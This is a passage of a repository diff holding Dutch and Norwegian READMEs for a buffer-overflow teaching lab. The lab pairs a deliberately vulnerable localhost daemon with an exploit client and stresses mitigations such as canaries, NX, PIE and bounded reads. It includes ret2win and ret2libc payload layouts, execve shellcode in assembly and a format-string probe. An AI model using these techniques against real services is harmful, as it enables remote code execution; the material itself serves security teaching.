|
||||||
|
|
|
||||||
|
./food (kwetsbare daemon)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> jouw code
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Lees dit eerst
|
||||||
|
|
||||||
|
**`food` is een bewust kapotte netwerkdienst. Hij bindt alleen aan
|
||||||
|
`127.0.0.1`, en die standaard is bewust — laat hem daar.**
|
||||||
|
|
||||||
|
- Draai hem **niet** op een machine waar je om geeft, of op iets met data.
|
||||||
|
- Bind hem **niet** aan `0.0.0.0` of een echte netwerkinterface. Hij is
|
||||||
|
bewust extern exploiteerbaar.
|
||||||
|
- `fooc` richten op een host die je niet bezit of waarvoor je geen schriftelijke
|
||||||
|
toestemming hebt om te testen, is in de meeste rechtsgebieden een
|
||||||
|
computercriminaliteitsovertreding — ook onder de UK Computer Misuse Act en
|
||||||
|
de US Computer Fraud and Abuse Act.
|
||||||
|
- Hij bindt aan een onbevoordeelde poort (>1024), dus je hebt geen root nodig.
|
||||||
|
"Verbeter" hem niet door capabilities toe te voegen of hem als
|
||||||
|
systeemdienst te draaien.
|
||||||
|
- Elke verbinding wordt afgehandeld in een `fork()`-kind, en `food` reapt
|
||||||
|
het, dus crashes stapelen zich niet op. Vind je daarna tientallen losse
|
||||||
|
`sh`-processen, dan is `pkill -x sh` de opruiming.
|
||||||
|
|
||||||
|
Bij twijfel: dit lab is voor een virtuele machine of container, op een netwerk
|
||||||
|
dat jij beheert, op een machine zonder iets dat je zou missen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Snelle start
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # bouwt food, fooc en de test-harnesses
|
||||||
|
make run # start food op 127.0.0.1:2342, losgekoppeld op de achtergrond
|
||||||
|
make test # draait alle drie de exploit-technieken
|
||||||
|
make stop # stopt de daemon
|
||||||
|
```
|
||||||
|
|
||||||
|
Daarna met de hand:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # bekijk de adres-leaks die food prijsgeeft
|
||||||
|
./fooc -t demo -v # stuur rommel; zie food sterven met SIGSEGV
|
||||||
|
./fooc -t ret2win -i # spring naar een functie die al bestaat -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vereisten
|
||||||
|
|
||||||
|
| Hulpmiddel | Waarvoor | Opmerkingen |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (of clang) | bouwen | C99. Getest met gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` roept het tijdens het draaien aan |
|
||||||
|
| `nasm` | `make verify` | alleen om de shellcode te verifiëren; wordt overgeslagen als het ontbreekt |
|
||||||
|
| `gdb` | `make debug` | optioneel |
|
||||||
|
| Linux, x86-64 | beide | payload en gadget-jacht zijn architectuurafhankelijk |
|
||||||
|
|
||||||
|
`fooc` heeft ook `-ldl` nodig voor `dlsym()`; de Makefile regelt dat.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De bug
|
||||||
|
|
||||||
|
Eén regel in `food.c` is het hele aanvalsoppervlak:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* tot 512 bytes van het netwerk */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 bytes bestemming, 512 bytes geaccepteerd. De aanvaller overschrijft 448
|
||||||
|
bytes voorbij het einde van de buffer, en omdat de stack naar beneden groeit,
|
||||||
|
betekent "voorbij het einde" "in het frame erboven" — en daar liggen precies de
|
||||||
|
opgeslagen framepointer en de **opgeslagen retouradres**.
|
||||||
|
|
||||||
|
In een gecompileerde x86-64-functie bij `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
hoge adressen
|
||||||
|
+------------------------+ rbp + 16 : locals van de aanroeper
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : OPGESLAGEN RETOURADRES <-- wordt RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : onze framepointer
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: wat read() vult
|
||||||
|
+------------------------+
|
||||||
|
lage adressen
|
||||||
|
```
|
||||||
|
|
||||||
|
Wanneer de functie terugkeert, poppen `leave; ret` de 8 bytes in `RIP`, en de
|
||||||
|
CPU springt waar de aanvaller het heeft bepaald. Al het andere in dit lab is
|
||||||
|
rekenkunde over waarheen je moet wijzen.
|
||||||
|
|
||||||
|
Voor deze build zijn de getallen: `buf` is 64 bytes, de opgeslagen `rbp` is 8,
|
||||||
|
dus het retouradres ligt op offset **88** vanaf het begin van `buf`. `fooc`
|
||||||
|
hardcoded dat niet — het disassembleert `food` en vindt `lea -0x50(%rbp)`
|
||||||
|
vóór `call read@plt`, zodat het blijft werken als je `FOOD_BUFSZ` verandert.
|
||||||
|
|
||||||
|
> gcc vertelt je dit al. `food` bouwen print:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Onderdruk die waarschuwing nooit in
|
||||||
|
> echte code. Het is gratis beveiliging.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De drie technieken
|
||||||
|
|
||||||
|
`fooc -t <technique>`. Ze staan in de volgorde waarin een echte aanvaller er
|
||||||
|
doorheen zou werken, omdat elke techniek nodig heeft wat de vorige je leerde.
|
||||||
|
|
||||||
|
### 1. `ret2win` — bestuur de instructiepointer
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 bytes rommel ][ het adres van food's win() ]
|
||||||
|
^ saved rbp
|
||||||
|
^ wordt RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` is een functie in het doelprogramma die `/bin/sh` exec't. Het
|
||||||
|
overschrijven van het retouradres met haar adres is het hele exploit.
|
||||||
|
|
||||||
|
**Wat het leert:** je hebt volledige controle over de instructiepointer. Het
|
||||||
|
heeft ook geen leak nodig, want het binaire bestand is gebouwd met `-no-pie`,
|
||||||
|
dus `win()` staat voor altijd op een vast adres.
|
||||||
|
|
||||||
|
**De tegenhanger in de echte wereld** is niet "aanvallen zijn makkelijk",
|
||||||
|
maar "lever geen ongedocumenteerde backdoors in netwerk-binaries". Zit er een
|
||||||
|
functie als `win()` in jouw binaire bestand, dan zal een bufferoverloop haar
|
||||||
|
vinden. Dat is letterlijk de Juniper ScreenOS-backdoor-CVE-klasse.
|
||||||
|
|
||||||
|
**Verdediging:** `-fPIE` (of ASLR) randomiseert het laadadres, dus de aanvaller
|
||||||
|
moet het adres kennen — wat meestal betekent dat ze eerst een lek nodig hebben.
|
||||||
|
Daarom faalt `ret2win` tegen `food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — roep om het even wat aan, bij naam
|
||||||
|
|
||||||
|
```
|
||||||
|
[ rommel ][ pop rdi; ret ][ adres van "/bin/sh" ][ adres van system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
zet rdi de string om te sturen de functie om aan te roepen
|
||||||
|
```
|
||||||
|
|
||||||
|
Bij uitvoering: `ret` poppt `pop rdi; ret` in RIP; dat poppt de
|
||||||
|
`"/bin/sh"`-pointer in `RDI`; zijn `ret` poppt `system()` in RIP, terwijl `RDI`
|
||||||
|
de string nog vasthoudt. `system("/bin/sh")` draait.
|
||||||
|
|
||||||
|
Gadgets (`pop rdi; ret`) zitten niet in `food` — deze glibc heeft geen
|
||||||
|
`__libc_csu_init` — dus `fooc` vindt ze door live libc-geheugen te scannen op
|
||||||
|
het bytepaar `5f c3`. Het lokaliseert libc via `/proc/self/maps`, vindt de
|
||||||
|
offsets van `system` en `"/bin/sh"` met `dlsym()` en berekent de base uit het
|
||||||
|
lek dat `food` prijsgeeft. Niets is hardcoded, dus het overleeft een
|
||||||
|
libc-update.
|
||||||
|
|
||||||
|
**Wat het leert:** zodra je RIP kunt controleren, kun je *bestaande*
|
||||||
|
instructies aan elkaar rijgen. Dat is return-oriented programming, en zo ziet
|
||||||
|
bijna elk echt exploit eruit, omdat het geen door de aanvaller geleverd
|
||||||
|
uitvoerbaar geheugen nodig heeft.
|
||||||
|
|
||||||
|
**Verdediging:** geen van de compilerflags stopt dit alleen. Het werkt tegen
|
||||||
|
een PIE-binary, met NX, met canary — zolang de aanvaller een lek heeft. De
|
||||||
|
verdedigingen zijn "heb de overloop niet" en "lek geen adressen". Zie de tabel
|
||||||
|
hieronder.
|
||||||
|
|
||||||
|
### 3. `shellcode` — voer je eigen machinecode uit
|
||||||
|
|
||||||
|
23 bytes, geplaatst aan het begin van de buffer, met `RIP` ernaar wijzend:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 ruwe bytes
|
||||||
|
push rdi ; leg de string op de stack
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; we zijn nu een shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Dit is de puurste vorm van de bug: de aanvaller levert de *instructies*, niet
|
||||||
|
alleen het adres van instructies die al bestaan. Geen libc-offsets nodig, dus
|
||||||
|
het werkt in principe tegen een statisch gelinkt, volledig gerandomiseerd
|
||||||
|
doelwit.
|
||||||
|
|
||||||
|
`make verify` assembleert `shellcode.S` en diff't het tegen de byte-array die
|
||||||
|
in `fooc.c` is ingebed, zodat de twee niet uiteen kunnen drijven.
|
||||||
|
|
||||||
|
**Verdediging:** **NX** (ook wel W^X, "no execute" genoemd). De stack als
|
||||||
|
niet-uitvoerbaar markeren zorgt ervoor dat de hardware weigert er instructies
|
||||||
|
uit te halen, en de `ret` landt op een pagina die niet kan draaien. Daarom
|
||||||
|
geeft `make food` `-z execstack`: een normale Linux-stack is `rw-p`, niet
|
||||||
|
`rwx`, en de techniek sterft met SIGSEGV bij `RIP = het adres van de payload`.
|
||||||
|
De allerbelangrijkste les van het lab is dat elk van deze bytes alleen werkt
|
||||||
|
omdat de compiler opdracht kreeg de stack uitvoerbaar te laten. Dat vlaggetje
|
||||||
|
staat aan voor niemands gewin.
|
||||||
|
|
||||||
|
### Ook inbegrepen
|
||||||
|
|
||||||
|
| Modus | Wat hij doet |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | verbindt, print leaks, stuurt niets |
|
||||||
|
| `-t demo` | stuurt `rip_off + 8` bytes `0x41`, zodat `RIP` `0x4141...` wordt en de daemon sterft. Bewijst de bug zonder enige adreskennis |
|
||||||
|
| `-t sled` | een ret-sled, bewust bewaard als **fout** voorbeeld. Zonder lek zou je ASLR brute-forcen door de buffer te vullen met het adres van een `ret`. Dat kan hier niet werken: `food` accepteert 512 bytes, dus de sled heeft ~53 slots tegenover ~28 bits entropie. Zo geïmplementeerd dat je het kunt zien falen en kunt bevestigen dat het mechanisme echt "de CPU volgt een keten van rets" is |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De tabel met tegenmaatregelen
|
||||||
|
|
||||||
|
Dit is het deel om te onthouden. Elke rij is een echte verdediging, en de
|
||||||
|
rechterkolom laat zien wat die daadwerkelijk met de gebeurtenisketen doet.
|
||||||
|
|
||||||
|
| Tegenmaatregel | Zo activeer je | Wat hij stopt | Wat hij *niet* stopt |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Beperk read** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** De bug bestaat niet, dus niets stroomafwaarts doet ertoe | Niets — dit is de enige volledige fix |
|
||||||
|
| **Stack-canary** | `-fstack-protector-strong` (gcc-standaard) | De `ret`: de canary wordt aan het einde van de functie gecontroleerd, dus de beschadiging wordt gedetecteerd en het proces aborted vóórdat `RIP` wordt gepopt | Een bug in een functie *zonder* array (niets om te beschermen); een overloop die onder de canary blijft; alles wat niet normaal return't |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (de standaard) | Shellcode. De eigen instructies van de payload kunnen niet worden opgehaald | ret2win en ret2libc volledig. Die zijn *de reden* dat ROP bestaat |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (beide standaard) | De hardcoded adressen van ret2win. Alles verschuift bij elke run | Alles waar de aanvaller een lek heeft. ASLR verhoogt de prijs van een exploit; het is geen fix. Merk op dat stack, heap en mmap worden gerandomiseerd, maar de *inhoud* van de hoofd-binary niet — dat is wat ROP-ketens gebruiken |
|
||||||
|
| **Lek niets** | geen `printf("%p")` naar clients; initialiseer vóór je print | Het informatielek dat ASLR van "duur" naar "gratis" verandert | — |
|
||||||
|
| **Gebruik geen `printf(user_data)`** | `printf("%s", buf)` in plaats van `printf(buf)` | Format-string-bugs: `%x`-stack-reads, `%n`-willekeurige schrijfbewerkingen — een *andere* weg naar RCE | — |
|
||||||
|
| **Gebruik geen onbetrouwbare paden** | valideer en `openat()` onder een vaste map | Pad-traversal (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, kernel- en CPU-ondersteuning | De `ret` zelf: de shadow stack onthoudt het *echte* retouradres en faalt bij een mismatch. Vangt ROP-ketens die hardware-`ret` gebruiken | Aanvallen die nooit `ret`-en (call-oriented, of het doel van een functiepointer overschrijven met een gadget-keten die geen retour nodig heeft) |
|
||||||
|
| **Veilige talen** | Rust, Go, C# voor nieuwe code | De hele klasse. Bounds-checks worden tijdens de uitvoering afgedwongen, niet vertrouwd bij review | — |
|
||||||
|
|
||||||
|
### Zie het zelf
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # kwetsbare daemon
|
||||||
|
make test # alle drie de technieken werken
|
||||||
|
|
||||||
|
make test-hardened # dezelfde broncode, tegenmaatregelen aan
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` bouwt `food_hardened` met `-fstack-protector-strong -fPIE -pie
|
||||||
|
-z noexecstack`, wisselt hem in, draait alle drie opnieuw en legt daarna de
|
||||||
|
kwetsbare terug. Je ziet:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
En in de log van de geharde daemon, de canary die afgaat:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Lees dat goed, want het is de belangrijkste regel van het hele lab: **de canary
|
||||||
|
ving ret2win, niet PIE.** Alle drie de technieken sterven bij de canary, omdat
|
||||||
|
alle drie door dezelfde `read()` gaan en hetzelfde frame beschadigen. NX stopt
|
||||||
|
alleen nog de *code* van de shellcode; PIE breekt alleen nog het hardcoded
|
||||||
|
adres. Zet ze één voor één aan, en je ontdekt dat de meeste enkele
|
||||||
|
tegenmaatregelen je ergens kwetsbaar achterlaten.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bestanden
|
||||||
|
|
||||||
|
| Bestand | Doel |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | de kwetsbare daemon. 6 genummerde bugs, elk met zijn fix in de commentaar |
|
||||||
|
| `fooc.c` | het exploit. objdump-gebaseerde offenderkenning, `/proc`-gebaseerde libc-herkenning, 4 payload-bouwers |
|
||||||
|
| `shellcode.S` | de 23 shellcode-bytes als assembly, zodat ze leesbaar en verifieerbaar zijn. `fooc` draagt ze inline en heeft dit tijdens het draaien niet nodig |
|
||||||
|
| `Makefile` | bouwt, test en de harde vergelijking |
|
||||||
|
| `tests/pty_test.c` | drijft `fooc` door een pseudo-terminal en controleert op echte shell-output |
|
||||||
|
| `tests/sock_test.c` | onafhankelijke verificateur over een rauwe socket, zodat het resultaat niet van `fooc` afhangt |
|
||||||
|
| `food.log` | de log van de daemon. Jouw bewijs van wat er gebeurde |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Twee bugs in dit lab die de moeite van het begrijpen waard zijn
|
||||||
|
|
||||||
|
Dit zijn niet de bugs van het doelprogramma. Het zijn bugs in het exploit en in
|
||||||
|
zijn test-harness, en beide produceerden overtuigende leugens. Ze zijn
|
||||||
|
gedocumenteerd in de bron waar ze wonen; hier staan ze omdat de faalpatronen
|
||||||
|
leerzaam zijn.
|
||||||
|
|
||||||
|
### Stack-uitlijning: de crash die geen NULL-dereferentie is
|
||||||
|
|
||||||
|
**Symptoom.** De overname landt correct — `gdb` laat je in `win()` zien — en
|
||||||
|
dan sterft het allereerste wat `win()` doet, een `dprintf()`. De
|
||||||
|
SIGSEGV-handler rapporteert `RIP` diep in glibc's formatter en een foutadres
|
||||||
|
van `(nil)`, wat er precies uitziet als een corrupte pointer.
|
||||||
|
|
||||||
|
**Oorzaak.** De System V AMD64-ABI vereist 16-byte stack-uitlijning. Een
|
||||||
|
normale `ret` herstelt `%rsp` precies zoals de bijbehorende `call` het
|
||||||
|
opsloeg, dus de invariant blijft gratis behouden. Onze kale `ret` doet dat
|
||||||
|
niet: daarna geldt `%rsp = buf + rip_off`. Hier is `buf` 16-byte uitgelijnd en
|
||||||
|
is `rip_off` 88, dus de callee krijgt een stack die 8 mod 16 is. glibc is met
|
||||||
|
SSE2 gecompileerd, en `movaps` **faalt** op een verkeerd uitgelijnde operand.
|
||||||
|
Op x86 werpt dat `#GP` op, niet `#PF`, dus de kernel heeft geen foutadres en
|
||||||
|
rapporteert `si_addr = 0`. Die NULL is de hint: een uitlijnfout vermomd als
|
||||||
|
NULL-dereferentie.
|
||||||
|
|
||||||
|
**Fix.** Eén `ret`-gadget *op offset `rip_off`*, dat het echte doelwit 8 bytes
|
||||||
|
omhoog schuift, omdat elke `ret` precies 8 bij `%rsp` optelt. De volgorde is
|
||||||
|
kritiek: een eerdere versie plakte de `ret` *achter* het doelwit en produceerde
|
||||||
|
`[ padding | target | ret ]`, waarbij de afsluitende `ret` nooit wordt bereikt
|
||||||
|
en de fix stilletjes niets doet. Een verdwaalde `ret` die op een bug lijkt, is
|
||||||
|
bijna altijd bewust.
|
||||||
|
|
||||||
|
### Eén socket, twee lezers: de byte die verdween
|
||||||
|
|
||||||
|
**Symptoom.** Shellcode werd gerapporteerd als werkend. Toen werd de
|
||||||
|
pty-harness strenger gemaakt (`ECHO` uitzetten, zodat de terminal ophield de
|
||||||
|
eigen commandoregel van de harness naar zichzelf terug te echoën), en de
|
||||||
|
techniek begon te falen. Dieper ging elke techniek precies één byte van het
|
||||||
|
begin van elke uitvoer-chunk kwijt: `uid=1000(hanez)` werd geprint als
|
||||||
|
`id=1000(hanez)`, `PWNED-OK` als `WNED-OK`, `Linux 7.2.7` als `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Oorzaak.** `fooc` deed vroeger de socket `dup2()`en naar zijn eigen
|
||||||
|
stdin/stdout en een *lokale* `/bin/sh` `execv()`en, terwijl een geforkt
|
||||||
|
relay-kind dezelfde socket ook las om output naar de terminal te verplaatsen.
|
||||||
|
De kernel kan het niets schelen dat die twee samenwerken. Een streamsocket heeft
|
||||||
|
**één** lees-cursor, en elke lezer verplaatst hem, dus bytes worden
|
||||||
|
onvoorspelbaar tussen hen verdeeld. De lokale shell — een interactieve
|
||||||
|
login-shell — las precies één byte en gooide het weg, elke keer weer.
|
||||||
|
`strace -f` liet het onmiddellijk zien:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- de lokale shell, eet een byte op
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- het relay, 1 byte te kort
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** Er is hier helemaal geen shell aan deze kant. Er is precies één shell
|
||||||
|
in het hele plaatje, en die zit op het slachtoffer, in het gekaapte proces,
|
||||||
|
met de TCP-verbinding als zijn stdin/stdout. Deze kant verplaatst alleen bytes.
|
||||||
|
Als je ooit twee consumenten van een stream nodig hebt, heeft die stream één
|
||||||
|
enkele lezer nodig die hem bewust demultiplext.
|
||||||
|
|
||||||
|
**De meta-les.** Het eerste "werkende" resultaat was een fout-positief,
|
||||||
|
geproduceerd doordat de pty de eigen commandoregel van de harness terug naar
|
||||||
|
zichzelf echoëde, en de fix voor dat fout-positief is wat de echte bug
|
||||||
|
onthulde. Tests die niet kunnen falen, zijn erger dan geen tests, omdat ze "ik
|
||||||
|
weet het niet" veranderen in "het werkt". Een test-harness verdient hetzelfde
|
||||||
|
wantrouwen als de code die hij test.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ermee spelen
|
||||||
|
|
||||||
|
Dingen die de moeite waard zijn om te proberen, ongeveer in de volgorde waarin
|
||||||
|
je er het meest van leert:
|
||||||
|
|
||||||
|
1. **Verander `FOOD_BUFSZ` naar 128.** Draai `fooc` opnieuw. Het zou nog
|
||||||
|
steeds moeten werken zonder wijzigingen, omdat het de offset uit de
|
||||||
|
disassembly leest. Breek het dan met de hand — hardcode 88 — en zie het
|
||||||
|
crashen. Voeg daarna een tweede array toe tussen `buf` en de opgeslagen
|
||||||
|
registers, en zie hoe de automatische herkenning het afhandelt.
|
||||||
|
|
||||||
|
2. **Voeg `-Wformat-security` toe en kijk wat het format-string-pad doet.**
|
||||||
|
Stuur `%p %p %p %n` en zie `food` de stack lekken.
|
||||||
|
|
||||||
|
3. **Gebruik gdb.** `make debug`, daarna:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # de read() die overloopt
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # merk op waar het retouradres ligt
|
||||||
|
(gdb) c # in een andere terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
De SIGSEGV-handler logt `REG_RIP` en `REG_RSP`, dus `food.log` vertelt je of
|
||||||
|
de overname geland is, zelfs wanneer het kind sterft vóór je kunt aanhaken.
|
||||||
|
|
||||||
|
4. **Verwijder de uitlijnfix** in `fooc.c` en zie de `#GP`-fout met de
|
||||||
|
`si_addr = 0`-handtekening. Lees dan `/proc/sys/kernel/randomize_va_space`
|
||||||
|
en denk na over wat ASLR randomiseert en wat niet.
|
||||||
|
|
||||||
|
5. **Breek de libc-symbolresolutie** en zie hoe `fooc` zich aanpast. Het hele
|
||||||
|
punt van de `/proc/self/maps`-benadering is dat geen enkele offset
|
||||||
|
hardcoded is.
|
||||||
|
|
||||||
|
6. **Schrijf een vierde techniek.** Een `ret2csu`-achtige keten als je
|
||||||
|
`__libc_csu_init` kunt vinden, of een SROP-keten (`sigreturn`-frames laten
|
||||||
|
je alle registers tegelijk controleren). Beide zijn puur ROP en hebben geen
|
||||||
|
uitvoerbaar geheugen nodig.
|
||||||
|
|
||||||
|
7. **Fix `food.c` goed**, één bug tegelijk, en draai het exploit opnieuw na
|
||||||
|
elke fix. De volgorde in de tabel bovenaan `food.c` is ongeveer de juiste om
|
||||||
|
in te denken: beperk eerst de read, want niets anders doet ertoe voordat de
|
||||||
|
bug weg is.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Opruiming
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # stopt food
|
||||||
|
make clean # verwijdert bouwproducten; laat food.log met rust
|
||||||
|
pkill -x sh # alleen als je losse shells hebt van een test die misging
|
||||||
|
```
|
||||||
|
|
||||||
|
Merk op: `pkill -x food` matcht de proces**naam** precies. Gebruik geen
|
||||||
|
`pkill -f ./food` — dat patroon matcht ook de shell waarin je het typt en doodt
|
||||||
|
je eigen sessie. Dat is geen hypothese; het gebeurde terwijl dit lab werd
|
||||||
|
gebouwd.
|
||||||
415
README.NO.md
Normal file
415
README.NO.md
Normal file
|
|
@ -0,0 +1,415 @@
|
||||||
|
# food / fooc — et stack-bufferoverløp, fra begge sider
|
||||||
|
|
||||||
|
Et C99-sikkerhetslaboratorium i to halvdeler:
|
||||||
|
|
||||||
|
- **`food.c`** — en bevisst sårbar TCP-daemon. Den har et ekte,
|
||||||
|
lærebokaktig stack-bufferoverløp (CWE-120), og noen flere feil i tillegg.
|
||||||
|
- **`fooc.c`** — et exploit for det. Det beregner overflow-offsetet ved å
|
||||||
|
disassemblere målprogrammet under kjøring, leser adresse-leaks fra daemonen,
|
||||||
|
og får en shell på "offeret" ved å overskrive en lagret returadresse.
|
||||||
|
|
||||||
|
Poenget er ikke shellen. Poenget er at du kan følge med fra ende til annen
|
||||||
|
hvordan en minnesikkerhetsfeil blir til vilkårlig kodeutførelse — og deretter
|
||||||
|
se nøyaktig hvilke mottiltak som stopper hvert trinn i den kjeden. Hver linje i
|
||||||
|
begge programmene er kommentert, fordi mekanismen er leksjonen.
|
||||||
|
|
||||||
|
```
|
||||||
|
terminalen din
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (sårbar daemon)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> koden din
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Les dette først
|
||||||
|
|
||||||
|
**`food` er en bevisst ødelagt nettverkstjeneste. Den binder bare til
|
||||||
|
`127.0.0.1`, og den standarden er bevisst — la den være der.**
|
||||||
|
|
||||||
|
- Kjør den **ikke** på en maskin du bryr deg om, eller på noe med data på.
|
||||||
|
- Bind den **ikke** til `0.0.0.0` eller en ekte nettverksgrensesnitt. Den er
|
||||||
|
bevisst eksternt utnyttbar.
|
||||||
|
- Å peke `fooc` mot en vert du ikke eier eller ikke har skriftlig tillatelse
|
||||||
|
til å teste, er en datainnbruddsforseelse i de fleste jurisdiksjoner — også
|
||||||
|
etter UK Computer Misuse Act og US Computer Fraud and Abuse Act.
|
||||||
|
- Den binder til en uprivilegert port (>1024), så du trenger ikke root. Ikke
|
||||||
|
"forbedre" den ved å legge til capabilities eller kjøre den som
|
||||||
|
systemtjeneste.
|
||||||
|
- Hver tilkobling håndteres i et `fork()`et barn, og `food` reaper det, så
|
||||||
|
krasj hoper seg ikke opp. Hvis du etterpå finner dusinvis av løse
|
||||||
|
`sh`-prosesser, er `pkill -x sh` oppryddingen.
|
||||||
|
|
||||||
|
I tvilstilfeller: Dette laboratoriet er for en virtuell maskin eller en
|
||||||
|
container, på et nettverk du kontrollerer, på en maskin uten noe du ville
|
||||||
|
savnet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Rask start
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # bygger food, fooc og test-harnessene
|
||||||
|
make run # starter food på 127.0.0.1:2342, løsrevet i bakgrunnen
|
||||||
|
make test # kjører alle tre exploit-teknikkene
|
||||||
|
make stop # stopper daemonen
|
||||||
|
```
|
||||||
|
|
||||||
|
Deretter for hånd:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # se adresse-leaksene food gir fra seg
|
||||||
|
./fooc -t demo -v # send søppel; se food dø med SIGSEGV
|
||||||
|
./fooc -t ret2win -i # hopp til en funksjon som allerede finnes -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Krav
|
||||||
|
|
||||||
|
| Verktøy | Til hva | Merknader |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (eller clang) | bygging | C99. Testet med gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` kaller det under kjøring |
|
||||||
|
| `nasm` | `make verify` | bare for å kryssjekke shellcoden; hoppes over hvis det mangler |
|
||||||
|
| `gdb` | `make debug` | valgfritt |
|
||||||
|
| Linux, x86-64 | begge | payload og gadget-jakt er arkitekturavhengige |
|
||||||
|
|
||||||
|
`fooc` trenger også `-ldl` for `dlsym()`; Makefile-et ordner det.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Feilen
|
||||||
|
|
||||||
|
Én linje i `food.c` er hele angrepsflaten:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* opptil 512 bytes fra nettverket */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 bytes destinasjon, 512 bytes akseptert. Angriperen overskriver 448 bytes
|
||||||
|
forbi slutten av bufferen, og fordi stacken vokser nedover, betyr "forbi
|
||||||
|
slutten" "inn i rammen over" — og det er akkurat der den lagrede
|
||||||
|
rammepekeren og den **lagrede returadressen** ligger.
|
||||||
|
|
||||||
|
I en kompilert x86-64-funksjon ved `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
høye adresser
|
||||||
|
+------------------------+ rbp + 16 : kallers lokale
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : LAGRET RETURADRESSE <-- blir til RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : vår rammepeker
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: det read() fyller
|
||||||
|
+------------------------+
|
||||||
|
lave adresser
|
||||||
|
```
|
||||||
|
|
||||||
|
Når funksjonen returnerer, popper `leave; ret` de 8 bytene inn i `RIP`, og
|
||||||
|
CPU-en hopper dit angriperen har valgt. Alt annet i dette laboratoriet er
|
||||||
|
aritmetikk om hvorhen man skal peke.
|
||||||
|
|
||||||
|
For denne builden er tallene: `buf` er 64 bytes, det lagrede `rbp` er 8, så
|
||||||
|
returadressen ligger på offset **88** fra starten av `buf`. `fooc` hardkoder
